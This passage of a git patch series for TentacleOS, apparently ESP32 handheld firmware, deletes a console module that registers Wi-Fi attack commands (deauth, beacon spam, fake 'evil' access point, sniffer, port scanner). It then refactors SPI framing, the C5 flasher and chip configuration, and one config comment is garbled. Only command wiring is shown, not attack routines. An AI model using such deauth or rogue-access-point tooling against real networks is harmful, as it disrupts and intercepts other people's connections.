(Stop)\n"); - printf(" portscan Port Scanner\n"); - printf(" -i [-min ] [-max ]\n"); - printf(" status Show current status\n"); - return 0; - } - const char *subcmd = argv[1]; - int sub_argc = argc - 1; - char **sub_argv = &argv[1]; - - if (strcmp(subcmd, "scan") == 0) - return subcmd_scan(sub_argc, sub_argv); - if (strcmp(subcmd, "connect") == 0) - return subcmd_connect(sub_argc, sub_argv); - if (strcmp(subcmd, "ap") == 0) - return subcmd_ap(sub_argc, sub_argv); - if (strcmp(subcmd, "config") == 0) - return subcmd_config(sub_argc, sub_argv); - if (strcmp(subcmd, "spam") == 0) - return subcmd_spam(sub_argc, sub_argv); - if (strcmp(subcmd, "deauth") == 0) - return subcmd_deauth(sub_argc, sub_argv); - if (strcmp(subcmd, "status") == 0) - return subcmd_status(sub_argc, sub_argv); - if (strcmp(subcmd, "sniff") == 0) - return subcmd_sniff(sub_argc, sub_argv); - if (strcmp(subcmd, "probe") == 0) - return subcmd_probe(sub_argc, sub_argv); - if (strcmp(subcmd, "clients") == 0) - return subcmd_clients(sub_argc, sub_argv); - if (strcmp(subcmd, "target") == 0) - return subcmd_target(sub_argc, sub_argv); - if (strcmp(subcmd, "evil") == 0) - return subcmd_evil(sub_argc, sub_argv); - if (strcmp(subcmd, "portscan") == 0) - return subcmd_portscan(sub_argc, sub_argv); - - printf("Unknown wifi command: %s\n", subcmd); - return 1; -} - -void register_wifi_commands(void) { - s_scan_args.end = arg_end(1); - - s_connect_args.ssid = arg_str1("s", "ssid", "", "Network SSID"); - s_connect_args.password = arg_str0("p", "pass", "", "Password"); - s_connect_args.end = arg_end(1); - - s_ap_args.ssid = arg_str1("s", "ssid", "", "AP SSID"); - s_ap_args.password = arg_str0("p", "pass", "", "AP Password"); - s_ap_args.end = arg_end(1); - - s_config_args.enabled = arg_int0("e", "enabled", "<0/1>", "Enable/Disable Wi-Fi"); - s_config_args.ip = arg_str0("i", "ip", "", "Static IP"); - s_config_args.max_conn = arg_int0("m", "max", "", "Max Connections"); - s_config_args.end = arg_end(1); - - s_spam_args.random = arg_lit0("r", "random", "Random SSIDs"); - s_spam_args.list = arg_lit0("l", "list", "Use beacon_list.json"); - s_spam_args.stop = arg_lit0("s", "stop", "Stop spam"); - s_spam_args.end = arg_end(1); - - s_deauth_args.mac = arg_str0("t", "target", "", "Target BSSID"); - s_deauth_args.channel = arg_int0("c", "channel", "", "Channel"); - s_deauth_args.stop = arg_lit0("s", "stop", "Stop attack"); - s_deauth_args.end = arg_end(1); - - s_sniff_args.type = arg_str0("t", "type", "", "Sniff Type"); - s_sniff_args.channel = arg_int0("c", "channel", "", "Channel (0=Hop)"); - s_sniff_args.file = arg_str0("f", "file", "", "Save to .pcap"); - s_sniff_args.verbose = arg_lit0("v", "verbose", "Print packets"); - s_sniff_args.stop = arg_lit0("s", "stop", "Stop sniffer"); - s_sniff_args.end = arg_end(1); - - s_probe_args.start = arg_lit0(NULL, "start", "Start monitor"); - s_probe_args.stop = arg_lit0("s", "stop", "Stop monitor"); - s_probe_args.end = arg_end(1); - - s_clients_args.start = arg_lit0(NULL, "start", "Start scan"); - s_clients_args.stop = arg_lit0("s", "stop", "Stop scan"); - s_clients_args.end = arg_end(1); - - s_target_args.mac = arg_str0("t", "target", "", "BSSID"); - s_target_args.channel = arg_int0("c", "channel", "", "Channel"); - s_target_args.stop = arg_lit0("s", "stop", "Stop scan"); - s_target_args.end = arg_end(1); - - s_evil_args.ssid = arg_str0("s", "ssid", "", "Fake AP Name"); - s_evil_args.stop = arg_lit0(NULL, "stop", "Stop attack"); - s_evil_args.end = arg_end(1); - - s_port_args.ip = arg_str1("i", "ip", "", "Target IP"); - s_port_args.min = arg_int0(NULL, "min", "", "Start Port"); - s_port_args.max = arg_int0(NULL, "max", "", "End Port"); - s_port_args.end = arg_end(1); - - const esp_console_cmd_t wifi_cmd = {.command = "wifi", - .help = "Wi-Fi Management & Attacks", - .hint = " ...", - .func = &cmd_wifi, - .argtable = NULL}; - ESP_ERROR_CHECK(esp_console_cmd_register(&wifi_cmd)); -} diff --git a/firmware_c5/components/Service/console/console_service.c b/firmware_c5/components/Service/console/console_service.c deleted file mode 100644 index 4d5e04213..000000000 --- a/firmware_c5/components/Service/console/console_service.c +++ /dev/null @@ -1,66 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "console_service.h" - -#include -#include -#include -#include - -#include "esp_console.h" -#include "esp_log.h" -#include "driver/uart.h" -#include "linenoise/linenoise.h" - -static const char *TAG = "CONSOLE"; - -esp_err_t console_service_init(void) { - esp_console_repl_t *repl = NULL; - esp_console_repl_config_t repl_config = ESP_CONSOLE_REPL_CONFIG_DEFAULT(); - - repl_config.prompt = "highboy> "; - repl_config.max_cmdline_length = 512; - - ESP_ERROR_CHECK(esp_console_register_help_command()); - - register_system_commands(); - register_fs_commands(); - register_wifi_commands(); - -#if defined(CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG) - ESP_LOGI(TAG, "Initializing USB Serial/JTAG Console (Native S3)"); - esp_console_dev_usb_serial_jtag_config_t usbjtag_config = - ESP_CONSOLE_DEV_USB_SERIAL_JTAG_CONFIG_DEFAULT(); - ESP_ERROR_CHECK(esp_console_new_repl_usb_serial_jtag(&usbjtag_config, &repl_config, &repl)); - -#elif defined(CONFIG_ESP_CONSOLE_USB_CDC) - ESP_LOGI(TAG, "Initializing USB CDC Console (TinyUSB)"); - esp_console_dev_usb_cdc_config_t cdc_config = ESP_CONSOLE_DEV_USB_CDC_CONFIG_DEFAULT(); - ESP_ERROR_CHECK(esp_console_new_repl_usb_cdc(&cdc_config, &repl_config, &repl)); - -#else - ESP_LOGI(TAG, "Initializing UART Console"); - esp_console_dev_uart_config_t uart_config = ESP_CONSOLE_DEV_UART_CONFIG_DEFAULT(); - // uart_config.rx_buffer_size = 1024; // Some versions don't expose this directly in the struct - // macro or name differs uart_config.tx_buffer_size = 1024; - ESP_ERROR_CHECK(esp_console_new_repl_uart(&uart_config, &repl_config, &repl)); -#endif - - ESP_ERROR_CHECK(esp_console_start_repl(repl)); - - ESP_LOGI(TAG, "Console started. Type 'help' for commands."); - return ESP_OK; -} diff --git a/firmware_c5/components/Service/console/include/console_service.h b/firmware_c5/components/Service/console/include/console_service.h deleted file mode 100644 index b9c293c1c..000000000 --- a/firmware_c5/components/Service/console/include/console_service.h +++ /dev/null @@ -1,51 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef CONSOLE_SERVICE_H -#define CONSOLE_SERVICE_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "esp_err.h" - -/** - * @brief Initialize the console service and register all commands. - * - * @return ESP_OK on success. - */ -esp_err_t console_service_init(void); - -/** - * @brief Register filesystem commands (ls, cd, pwd, cat). - */ -void register_fs_commands(void); - -/** - * @brief Register system commands (free, restart, ip, tasks). - */ -void register_system_commands(void); - -/** - * @brief Register Wi-Fi commands (scan, connect, deauth, etc.). - */ -void register_wifi_commands(void); - -#ifdef __cplusplus -} -#endif - -#endif // CONSOLE_SERVICE_H From 64cdbc9a190a5d78edbd63be12e96fbeabd26fa4 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 21:57:49 -0300 Subject: [PATCH 018/572] fix(spi): pad bridge frame to a multiple of 4 for DMA alignment --- .../components/Service/spi_bridge/include/spi_protocol.h | 4 +++- .../components/Service/spi_bridge/include/spi_protocol.h | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index d104f967c..9195cd74b 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -240,7 +240,9 @@ static inline void spi_header_set_cmd(spi_header_t *h, uint16_t cmd) { h->op = SPI_CMD_OP(cmd); } -#define SPI_FRAME_SIZE (sizeof(spi_header_t) + SPI_MAX_PAYLOAD) +// Rounded up to a multiple of 4 bytes: SPI DMA transfers must be word-aligned +// in length, and the 5-byte header would otherwise make the frame size odd. +#define SPI_FRAME_SIZE (((sizeof(spi_header_t) + SPI_MAX_PAYLOAD) + 3u) & ~3u) // Session protocol — see spi_bridge/README.md "Session Lifecycle" #define SPI_SESSION_INVALID_ID 0u diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index a943c5ce4..b2db5e9f3 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -285,7 +285,9 @@ typedef struct __attribute__((packed)) { uint16_t cmd; // spi_id_t of the lost operation } spi_session_lost_t; -#define SPI_FRAME_SIZE (sizeof(spi_header_t) + SPI_MAX_PAYLOAD) +// Rounded up to a multiple of 4 bytes: SPI DMA transfers must be word-aligned +// in length, and the 5-byte header would otherwise make the frame size odd. +#define SPI_FRAME_SIZE (((sizeof(spi_header_t) + SPI_MAX_PAYLOAD) + 3u) & ~3u) /** * @brief WiFi connect request payload. From 88560ce492c3cb8f06a621cb921f3403d76d810f Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 21:57:49 -0300 Subject: [PATCH 019/572] refactor(c5-flasher): use esp-serial-flasher component --- firmware_p4/components/Service/CMakeLists.txt | 21 +- .../Service/c5_flasher/c5_flasher.c | 320 ++++++------------ .../Service/c5_flasher/include/c5_flasher.h | 25 +- firmware_p4/main/idf_component.yml | 1 + 4 files changed, 134 insertions(+), 233 deletions(-) diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index 994d6285b..d8ca1c0c1 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -96,20 +96,27 @@ idf_component_register(SRCS lvgl littlefs cjson - console + console argtable3 app_update + esp-serial-flasher ) -# Embed C5 Firmware Binary into Service component (used by c5_flasher) -set(C5_BIN_PATH "${CMAKE_SOURCE_DIR}/../firmware_c5/build/TentacleOS_C5.bin") +# Embed C5 firmware images into Service component (used by c5_flasher). +# Full image: bootloader (0x2000) + partition table (0x8000) + app (0x10000). +set(C5_BUILD_DIR "${CMAKE_SOURCE_DIR}/../firmware_c5/build") +set(C5_BOOTLOADER_PATH "${C5_BUILD_DIR}/bootloader/bootloader.bin") +set(C5_PARTITION_PATH "${C5_BUILD_DIR}/partition_table/partition-table.bin") +set(C5_APP_PATH "${C5_BUILD_DIR}/TentacleOS_C5.bin") set(C5_FIRMWARE_EMBEDDED 0) -if(EXISTS ${C5_BIN_PATH}) - target_add_binary_data(${COMPONENT_LIB} "${C5_BIN_PATH}" BINARY) +if(EXISTS ${C5_BOOTLOADER_PATH} AND EXISTS ${C5_PARTITION_PATH} AND EXISTS ${C5_APP_PATH}) + target_add_binary_data(${COMPONENT_LIB} "${C5_BOOTLOADER_PATH}" BINARY) + target_add_binary_data(${COMPONENT_LIB} "${C5_PARTITION_PATH}" BINARY) + target_add_binary_data(${COMPONENT_LIB} "${C5_APP_PATH}" BINARY) set(C5_FIRMWARE_EMBEDDED 1) - message(STATUS "Embedding C5 Firmware: ${C5_BIN_PATH}") + message(STATUS "Embedding C5 firmware images (bootloader + partition-table + app)") else() - message(WARNING "C5 Firmware binary not found at ${C5_BIN_PATH}. Firmware update feature will be disabled.") + message(WARNING "C5 firmware images not found under ${C5_BUILD_DIR}. C5 update feature will be disabled.") endif() target_compile_definitions(${COMPONENT_LIB} PRIVATE C5_FIRMWARE_EMBEDDED=${C5_FIRMWARE_EMBEDDED}) diff --git a/firmware_p4/components/Service/c5_flasher/c5_flasher.c b/firmware_p4/components/Service/c5_flasher/c5_flasher.c index 2cbd96a88..ad9610870 100644 --- a/firmware_p4/components/Service/c5_flasher/c5_flasher.c +++ b/firmware_p4/components/Service/c5_flasher/c5_flasher.c @@ -17,256 +17,156 @@ #include -#include "driver/gpio.h" #include "driver/uart.h" #include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" +#include "esp32_port.h" +#include "esp_loader.h" #include "pin_def.h" static const char *TAG = "C5_FLASHER"; -#define FLASHER_UART UART_NUM_1 -#define FLASHER_UART_BUF 4096 -#define FLASH_BLOCK_SIZE 1024 -#define FLASH_BLOCK_HDR_SIZE 16 -#define FLASH_CHECKSUM_INIT 0xEF -#define BOOTLOADER_DELAY_MS 50 -#define BOOT_RELEASE_DELAY_MS 50 -#define FLASH_BEGIN_DELAY_MS 50 +#define FLASHER_UART UART_NUM_1 +#define FLASHER_INIT_BAUD 115200 +#define FLASHER_FAST_BAUD 921600 +#define FLASH_BLOCK_SIZE 1024 -// ESP serial protocol (SLIP framing) -#define ESP_ROM_BAUD 115200 -#define ESP_FLASH_BAUD 921600 -#define SLIP_END 0xC0 -#define SLIP_ESC 0xDB -#define SLIP_ESC_END 0xDC -#define SLIP_ESC_ESC 0xDD - -// ESP serial protocol commands -#define ESP_CMD_SYNC 0x08 -#define ESP_CMD_FLASH_BEGIN 0x02 -#define ESP_CMD_FLASH_DATA 0x03 -#define ESP_CMD_FLASH_END 0x04 -#define ESP_CMD_CHANGE_BAUDRATE 0x0F - -#define SYNC_ATTEMPTS 3 -#define SYNC_TIMEOUT_MS 100 -#define BAUD_TIMEOUT_MS 300 -#define ACK_TIMEOUT_MS 500 -#define FLASH_BLOCK_DELAY_MS 5 +// C5 flash layout (matches firmware_c5 partition table / flash_args). +#define C5_BOOTLOADER_OFFSET 0x2000 +#define C5_PARTITION_OFFSET 0x8000 +#define C5_APP_OFFSET 0x10000 #if C5_FIRMWARE_EMBEDDED -extern const uint8_t c5_firmware_bin_start[] asm("_binary_TentacleOS_C5_bin_start"); -extern const uint8_t c5_firmware_bin_end[] asm("_binary_TentacleOS_C5_bin_end"); +extern const uint8_t c5_bootloader_start[] asm("_binary_bootloader_bin_start"); +extern const uint8_t c5_bootloader_end[] asm("_binary_bootloader_bin_end"); +extern const uint8_t c5_partition_start[] asm("_binary_partition_table_bin_start"); +extern const uint8_t c5_partition_end[] asm("_binary_partition_table_bin_end"); +extern const uint8_t c5_app_start[] asm("_binary_TentacleOS_C5_bin_start"); +extern const uint8_t c5_app_end[] asm("_binary_TentacleOS_C5_bin_end"); #endif typedef struct { - uint8_t direction; - uint8_t command; - uint16_t size; - uint32_t checksum; -} __attribute__((packed)) c5_flasher_cmd_header_t; + const char *name; + uint32_t offset; + const uint8_t *data; + uint32_t size; +} c5_image_t; -static bool s_ack_supported = false; - -static void slip_send_byte(uint8_t b); -static void send_packet(uint8_t cmd, uint8_t *payload, uint16_t len, uint32_t checksum); -static esp_err_t read_response(uint32_t timeout_ms); -static esp_err_t sync_bootloader(void); -static esp_err_t change_baudrate(uint32_t new_baud); -static void wait_for_ack_or_delay(uint32_t fallback_delay_ms); +static esp_err_t flash_image(const c5_image_t *img); esp_err_t c5_flasher_init(void) { - gpio_config_t io_conf = { - .intr_type = GPIO_INTR_DISABLE, - .mode = GPIO_MODE_OUTPUT, - .pin_bit_mask = (1ULL << GPIO_C5_RESET_PIN) | (1ULL << GPIO_C5_BOOT_PIN), - .pull_down_en = 0, - .pull_up_en = 1, - }; - gpio_config(&io_conf); - gpio_set_level(GPIO_C5_RESET_PIN, 1); - gpio_set_level(GPIO_C5_BOOT_PIN, 1); - - uart_config_t uart_config = { - .baud_rate = ESP_ROM_BAUD, - .data_bits = UART_DATA_8_BITS, - .parity = UART_PARITY_DISABLE, - .stop_bits = UART_STOP_BITS_1, - .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, - .source_clk = UART_SCLK_DEFAULT, + loader_esp32_config_t config = { + .baud_rate = FLASHER_INIT_BAUD, + .uart_port = FLASHER_UART, + .uart_rx_pin = GPIO_C5_UART_RX_PIN, + .uart_tx_pin = GPIO_C5_UART_TX_PIN, + .reset_trigger_pin = GPIO_C5_RESET_PIN, + .gpio0_trigger_pin = GPIO_C5_BOOT_PIN, }; - uart_driver_install(FLASHER_UART, FLASHER_UART_BUF, 0, 0, NULL, 0); - uart_param_config(FLASHER_UART, &uart_config); - return uart_set_pin(FLASHER_UART, GPIO_C5_UART_TX_PIN, GPIO_C5_UART_RX_PIN, -1, -1); -} - -void c5_flasher_enter_bootloader(void) { - ESP_LOGI(TAG, "Entering bootloader mode"); - gpio_set_level(GPIO_C5_BOOT_PIN, 0); - gpio_set_level(GPIO_C5_RESET_PIN, 0); - vTaskDelay(pdMS_TO_TICKS(BOOTLOADER_DELAY_MS)); - gpio_set_level(GPIO_C5_RESET_PIN, 1); - vTaskDelay(pdMS_TO_TICKS(BOOT_RELEASE_DELAY_MS)); - gpio_set_level(GPIO_C5_BOOT_PIN, 1); -} - -void c5_flasher_reset_normal(void) { - gpio_set_level(GPIO_C5_RESET_PIN, 0); - vTaskDelay(pdMS_TO_TICKS(BOOTLOADER_DELAY_MS)); - gpio_set_level(GPIO_C5_RESET_PIN, 1); - ESP_LOGI(TAG, "C5 reset completed"); + if (loader_port_esp32_init(&config) != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "Failed to init serial flasher port"); + return ESP_FAIL; + } + return ESP_OK; } esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size) { - if (bin_data == NULL) { -#if C5_FIRMWARE_EMBEDDED - bin_data = c5_firmware_bin_start; - bin_size = c5_firmware_bin_end - c5_firmware_bin_start; -#else - ESP_LOGE(TAG, "Embedded C5 firmware is unavailable"); - return ESP_ERR_NOT_FOUND; -#endif - } + esp_loader_connect_args_t connect_args = ESP_LOADER_CONNECT_DEFAULT(); - if (bin_size == 0) { - ESP_LOGE(TAG, "Invalid binary size"); - return ESP_ERR_INVALID_ARG; + ESP_LOGI(TAG, "Connecting to C5 bootloader"); + if (esp_loader_connect(&connect_args) != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "Failed to connect to C5"); + return ESP_FAIL; } - - c5_flasher_enter_bootloader(); - - s_ack_supported = (sync_bootloader() == ESP_OK); - if (s_ack_supported) { - change_baudrate(ESP_FLASH_BAUD); + ESP_LOGI(TAG, "Connected to target (chip id %d)", esp_loader_get_target()); + + // Best-effort speed-up. Only switch the host side if the target accepted it, + // otherwise stay at the ROM baud rate. + if (esp_loader_change_transmission_rate(FLASHER_FAST_BAUD) == ESP_LOADER_SUCCESS) { + if (loader_port_change_transmission_rate(FLASHER_FAST_BAUD) != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "Host baud switch failed after target switched"); + return ESP_FAIL; + } + ESP_LOGI(TAG, "Baud rate raised to %d", FLASHER_FAST_BAUD); + } else { + ESP_LOGW(TAG, "Baud change unsupported, staying at %d", FLASHER_INIT_BAUD); } - uint32_t num_blocks = (bin_size + FLASH_BLOCK_SIZE - 1) / FLASH_BLOCK_SIZE; - uint32_t begin_params[4] = {bin_size, num_blocks, FLASH_BLOCK_SIZE, 0x0000}; - send_packet(ESP_CMD_FLASH_BEGIN, (uint8_t *)begin_params, sizeof(begin_params), 0); - wait_for_ack_or_delay(FLASH_BEGIN_DELAY_MS); - - for (uint32_t i = 0; i < num_blocks; i++) { - uint32_t offset = i * FLASH_BLOCK_SIZE; - uint32_t this_len = - (bin_size - offset > FLASH_BLOCK_SIZE) ? FLASH_BLOCK_SIZE : bin_size - offset; - - uint8_t block_buffer[FLASH_BLOCK_SIZE + FLASH_BLOCK_HDR_SIZE]; - uint32_t *params = (uint32_t *)block_buffer; - params[0] = this_len; - params[1] = i; - params[2] = 0; - params[3] = 0; - memcpy(block_buffer + FLASH_BLOCK_HDR_SIZE, bin_data + offset, this_len); - - uint32_t checksum = FLASH_CHECKSUM_INIT; - for (uint32_t j = 0; j < this_len; j++) { - checksum ^= bin_data[offset + j]; + if (bin_data != NULL) { + if (bin_size == 0) { + ESP_LOGE(TAG, "Invalid binary size"); + return ESP_ERR_INVALID_ARG; } - - send_packet(ESP_CMD_FLASH_DATA, block_buffer, this_len + FLASH_BLOCK_HDR_SIZE, checksum); - if ((i % 100) == 0 || i == num_blocks - 1) { - ESP_LOGI(TAG, "Writing block %lu/%lu", i + 1, num_blocks); + c5_image_t app = {"app", C5_APP_OFFSET, bin_data, bin_size}; + esp_err_t ret = flash_image(&app); + if (ret != ESP_OK) { + return ret; + } + } else { +#if C5_FIRMWARE_EMBEDDED + const c5_image_t images[] = { + {"bootloader", C5_BOOTLOADER_OFFSET, c5_bootloader_start, + (uint32_t)(c5_bootloader_end - c5_bootloader_start)}, + {"partition-table", C5_PARTITION_OFFSET, c5_partition_start, + (uint32_t)(c5_partition_end - c5_partition_start)}, + {"app", C5_APP_OFFSET, c5_app_start, (uint32_t)(c5_app_end - c5_app_start)}, + }; + for (size_t i = 0; i < sizeof(images) / sizeof(images[0]); i++) { + esp_err_t ret = flash_image(&images[i]); + if (ret != ESP_OK) { + return ret; + } } - wait_for_ack_or_delay(FLASH_BLOCK_DELAY_MS); +#else + ESP_LOGE(TAG, "Embedded C5 firmware is unavailable"); + return ESP_ERR_NOT_FOUND; +#endif } - uint32_t end_params[1] = {0}; - send_packet(ESP_CMD_FLASH_END, (uint8_t *)end_params, sizeof(end_params), 0); - wait_for_ack_or_delay(FLASH_BEGIN_DELAY_MS); - ESP_LOGI(TAG, "Update successful"); - c5_flasher_reset_normal(); + esp_loader_reset_target(); return ESP_OK; } -static esp_err_t read_response(uint32_t timeout_ms) { - uint8_t byte; - bool in_packet = false; - TickType_t deadline = xTaskGetTickCount() + pdMS_TO_TICKS(timeout_ms); - - while (xTaskGetTickCount() < deadline) { - if (uart_read_bytes(FLASHER_UART, &byte, 1, pdMS_TO_TICKS(10)) <= 0) - continue; - if (byte != SLIP_END) - continue; - if (!in_packet) { - in_packet = true; - } else { - return ESP_OK; - } - } - return ESP_ERR_TIMEOUT; -} - -static esp_err_t sync_bootloader(void) { - uint8_t sync_data[36] = {0x07, 0x07, 0x12, 0x20}; - memset(sync_data + 4, 0x55, 32); - for (int i = 0; i < SYNC_ATTEMPTS; i++) { - send_packet(ESP_CMD_SYNC, sync_data, sizeof(sync_data), 0); - if (read_response(SYNC_TIMEOUT_MS) == ESP_OK) { - ESP_LOGI(TAG, "Bootloader synced — using ACK flow control"); - return ESP_OK; - } +static esp_err_t flash_image(const c5_image_t *img) { + if (img->size == 0) { + ESP_LOGE(TAG, "Empty image for %s", img->name); + return ESP_ERR_INVALID_ARG; } - ESP_LOGW(TAG, "No ACK from bootloader — falling back to fixed delays"); - return ESP_ERR_TIMEOUT; -} -static esp_err_t change_baudrate(uint32_t new_baud) { - uint32_t params[2] = {new_baud, 0}; - send_packet(ESP_CMD_CHANGE_BAUDRATE, (uint8_t *)params, sizeof(params), 0); - if (read_response(BAUD_TIMEOUT_MS) != ESP_OK) { - ESP_LOGW(TAG, "Baud rate change unconfirmed, staying at %d", ESP_ROM_BAUD); - return ESP_ERR_TIMEOUT; - } - uart_set_baudrate(FLASHER_UART, new_baud); - vTaskDelay(pdMS_TO_TICKS(50)); - ESP_LOGI(TAG, "Baud rate changed to %lu", (unsigned long)new_baud); - return ESP_OK; -} + ESP_LOGI(TAG, + "Flashing %s: %lu bytes @ 0x%05lx", + img->name, + (unsigned long)img->size, + (unsigned long)img->offset); -static void wait_for_ack_or_delay(uint32_t fallback_delay_ms) { - if (s_ack_supported) { - read_response(ACK_TIMEOUT_MS); - } else { - vTaskDelay(pdMS_TO_TICKS(fallback_delay_ms)); + if (esp_loader_flash_start(img->offset, img->size, FLASH_BLOCK_SIZE) != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "flash_start failed for %s", img->name); + return ESP_FAIL; } -} -static void slip_send_byte(uint8_t b) { - if (b == SLIP_END) { - uint8_t esc[] = {SLIP_ESC, SLIP_ESC_END}; - uart_write_bytes(FLASHER_UART, esc, 2); - } else if (b == SLIP_ESC) { - uint8_t esc[] = {SLIP_ESC, SLIP_ESC_ESC}; - uart_write_bytes(FLASHER_UART, esc, 2); - } else { - uart_write_bytes(FLASHER_UART, &b, 1); + uint8_t block[FLASH_BLOCK_SIZE]; + uint32_t written = 0; + while (written < img->size) { + uint32_t chunk = img->size - written; + if (chunk > FLASH_BLOCK_SIZE) { + chunk = FLASH_BLOCK_SIZE; + } + memcpy(block, img->data + written, chunk); + if (esp_loader_flash_write(block, chunk) != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "flash_write failed for %s at offset %lu", img->name, (unsigned long)written); + return ESP_FAIL; + } + written += chunk; } -} - -static void send_packet(uint8_t cmd, uint8_t *payload, uint16_t len, uint32_t checksum) { - uint8_t start = SLIP_END; - c5_flasher_cmd_header_t header = { - .direction = 0x00, - .command = cmd, - .size = len, - .checksum = checksum, - }; - - uart_write_bytes(FLASHER_UART, &start, 1); - uint8_t *h_ptr = (uint8_t *)&header; - for (size_t i = 0; i < sizeof(header); i++) { - slip_send_byte(h_ptr[i]); - } - for (uint16_t i = 0; i < len; i++) { - slip_send_byte(payload[i]); +#if MD5_ENABLED + if (esp_loader_flash_verify() != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "MD5 verification failed for %s", img->name); + return ESP_FAIL; } +#endif - uart_write_bytes(FLASHER_UART, &start, 1); + return ESP_OK; } diff --git a/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h b/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h index ee388ce5a..3259b76ba 100644 --- a/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h +++ b/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h @@ -25,30 +25,23 @@ extern "C" { #include "esp_err.h" /** - * @brief Initialize UART and GPIO pins for C5 flashing. + * @brief Initialize the UART/GPIO serial-flasher port for the C5. + * + * Wraps esp-serial-flasher's ESP32 port (UART + reset/boot GPIOs). * * @return ESP_OK on success, or an error code. */ esp_err_t c5_flasher_init(void); /** - * @brief Put the C5 into bootloader mode via GPIO strapping. - */ -void c5_flasher_enter_bootloader(void); - -/** - * @brief Reset the C5 into normal operation mode. - */ -void c5_flasher_reset_normal(void); - -/** - * @brief Flash the C5 firmware over UART using ESP serial protocol. + * @brief Flash the C5 firmware over UART via esp-serial-flasher. * - * If bin_data is NULL and C5_FIRMWARE_EMBEDDED is defined, uses the - * embedded binary linked at build time. + * If bin_data is NULL and C5_FIRMWARE_EMBEDDED is defined, flashes the full + * embedded image (bootloader + partition table + app) linked at build time. + * If bin_data is non-NULL, flashes that blob to the C5 application offset. * - * @param bin_data Pointer to firmware binary, or NULL to use embedded. - * @param bin_size Size of the binary in bytes. + * @param bin_data Pointer to an app binary, or NULL to use the embedded image. + * @param bin_size Size of the binary in bytes (ignored when bin_data is NULL). * @return ESP_OK on success, or an error code. */ esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size); diff --git a/firmware_p4/main/idf_component.yml b/firmware_p4/main/idf_component.yml index 39da8eace..7e9036aca 100644 --- a/firmware_p4/main/idf_component.yml +++ b/firmware_p4/main/idf_component.yml @@ -7,3 +7,4 @@ dependencies: espressif/cjson: ^1.7.19 espressif/argtable3: ^3.3 espressif/libsodium: ^1.0.22 + espressif/esp-serial-flasher: ^1.11.0 From 136fc61c05883a9a9bf2db77b2a9112c9cd00ad1 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 21:57:49 -0300 Subject: [PATCH 020/572] fix(p4): target ESP32-P4 chip revision v1.x family --- firmware_p4/sdkconfig.defaults | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index 6940570c1..f83a64cd9 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -10,6 +10,11 @@ CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" # OTA rollback support in bootloader CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y +# Chip revision — this silicon is v1.3, so target the =3.0 are mutually exclusive in IDF). Range becomes v1.0–v1.99. +CONFIG_ESP32P4_SELECTS_REV_LESS_V3=y +CONFIG_ESP32P4_REV_MIN_100=y + # CPU 360MHz (P4 maximum) CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_360=y From 98fd4cc986bbbd6f04bb5c4afce651554be0a310 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 1 Jun 2026 21:57:49 -0300 Subject: [PATCH 021/572] fix(c5): store on flash (LittleFS), drop conflicting SPI master init --- firmware_c5/components/Core/kernel.c | 4 +--- .../components/Service/storage_api/include/tos_flash_paths.h | 5 ++++- .../components/Service/storage_vfs/include/vfs_config.h | 4 ++-- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index 